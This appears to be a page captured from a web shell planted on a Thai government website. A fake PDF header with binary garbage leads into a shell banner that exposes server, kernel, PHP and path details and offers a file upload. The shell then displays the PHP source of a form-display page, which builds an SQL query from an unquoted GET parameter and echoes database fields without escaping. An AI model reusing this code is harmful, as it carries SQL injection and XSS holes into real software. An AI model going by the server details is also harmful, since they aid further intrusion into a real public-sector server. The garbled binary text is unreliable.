%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 122.155.177.87 / Your IP : 122.155.177.87 Web Server : Apache/2 System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64 User : apache ( 994) PHP Version : 5.3.29 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/thungkhana/domains/thungkhanan.go.th/public_html/form/ |
Upload File : |
<?
session_start();
if($user==""){
$message = "س Login .";
$url = "../admin/index.php";
include("../admin/alert.php");
exit;
}
?>
<?php require_once('../admin/Connections/conndb.php'); ?>
<?php
$colname_Recordset1 = "-1";
if (isset($_GET['id'])) {
$colname_Recordset1 = (get_magic_quotes_gpc()) ? $_GET['id'] : addslashes($_GET['id']);
}
mysql_select_db($database_conndb, $conndb);
$query_Recordset1 = sprintf("SELECT * FROM form_9 WHERE id = %s", $colname_Recordset1);
$Recordset1 = mysql_query($query_Recordset1, $conndb) or die(mysql_error());
$row_Recordset1 = mysql_fetch_assoc($Recordset1);
$totalRows_Recordset1 = mysql_num_rows($Recordset1);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>ͧҧѺѧԴ</title>
<style type="text/css">
<!--
body {
margin-left: 0px;
margin-top: 5px;
margin-right: 0px;
margin-bottom: 5px;
color:#000000;
}
-->
</style>
<link href="styles_form.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div align="center">
<table width="900" border="0" cellpadding="2" cellspacing="2">
<tr align="center">
<td width="980" height="25" class="from1"><div align="center">
<p><br />
<strong>ͧҧѺѧԴ </strong></p>
<p class="under"> </p>
</div></td>
</tr>
<tr>
<td class="form"> </td>
</tr>
<tr>
<td class="form"><div align="right">
<? $d=explode("-",$row_Recordset1['fm_date']);
$dd=$d[2];
$mm=$d[1];
switch($mm)
{
case "1":
$printmonth = "Ҥ";
break;
case "2":
$printmonth = "Ҿѹ";
break;
case "3":
$printmonth = "չҤ";
break;
case "4":
$printmonth = "¹";
break;
case "5":
$printmonth = "Ҥ";
break;
case "6":
$printmonth = "Զع¹";
break;
case "7":
$printmonth = "áҤ";
break;
case "8":
$printmonth = "ԧҤ";
break;
case "9":
$printmonth = "ѹ¹";
break;
case "10":
$printmonth = "Ҥ";
break;
case "11":
$printmonth = "Ȩԡ¹";
break;
case "12":
$printmonth = "ѹҤ";
break;
}
$yyyy=$d[0];
$yy=$yyyy+543;
echo "ѹ ".$dd." ".$printmonth." .. ".$yy; ?>
</div></td>
</tr>
<tr>
<td class="form"><table width="858" height="100" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="29%" height="60" class="form"><div align="left"><span style="width:25%;text-align:right">-ʡ </span><span style="width:25%;text-align:right"> :</span></div></td>
<td width="71%" height="60" class="form"><?php echo $row_Recordset1['fm_name']; ?></td>
</tr>
<tr>
<td height="60" class="form"><div align="left"><span style="text-align:right"></span> <span style="width:25%;text-align:right">:</span></div></td>
<td height="60" class="form"><?php echo $row_Recordset1['fm_age']; ?></td>
</tr>
<tr>
<td height="60" class="form"><div align="left"><span style="text-align:right"></span> <span style="width:25%;text-align:right">:</span></div></td>
<td height="60" class="form"><?php echo $row_Recordset1['fm_request']; ?></td>
</tr>
<tr>
<td height="60" class="form"><div align="left"><span style="text-align:right">Ҫվ</span> <span style="width:25%;text-align:right">:</span></div></td>
<td height="60" class="form"><?php echo nl2br($row_Recordset1['fm_subject']); ?></td>
</tr>
<tr>
<td height="60" class="form"><div align="left"><span style="text-align:right">Ѿ</span> <span style="width:25%;text-align:right">:</span></div></td>
<td height="60" class="form"><?php echo $row_Recordset1['fm_phone']; ?></td>
</tr>
<tr>
<td height="60" class="form"><div align="left"><span style="text-align:right"></span> <span style="width:25%;text-align:right">:</span></div></td>
<td height="60" class="form"><?php echo $row_Recordset1['fm_email']; ?></td>
</tr>
<tr>
<td height="60" class="form"><div align="left"><span style="text-align:right"> </span><span style="width:25%;text-align:right">:</span></div></td>
<td height="60" class="form"><?php echo $row_Recordset1['fm_address']; ?></td>
</tr>
<tr>
<td height="60" class="form"><div align="left"><span style="text-align:right;">ͤ</span> <span style="width:25%;text-align:right">:</span></div></td>
<td height="60" class="form"><?php echo nl2br($row_Recordset1['fm_desc']); ?></td>
</tr>
</table></td>
</tr>
<tr>
<td class="form"> </td>
</tr>
<tr>
<td class="styles1"> </td>
</tr>
<tr>
<td class="styles1"><div align="center"><a href="javascript:window.print()" class="styles2"><img src="images/print.gif" alt="" width="16" height="16" border="0" /></a></div></td>
</tr>
</table>
</div>
</body>
</html>
<?php
mysql_free_result($Recordset1);
if($conndb)
{
mysql_close($conndb);
unset($conndb);
}
?>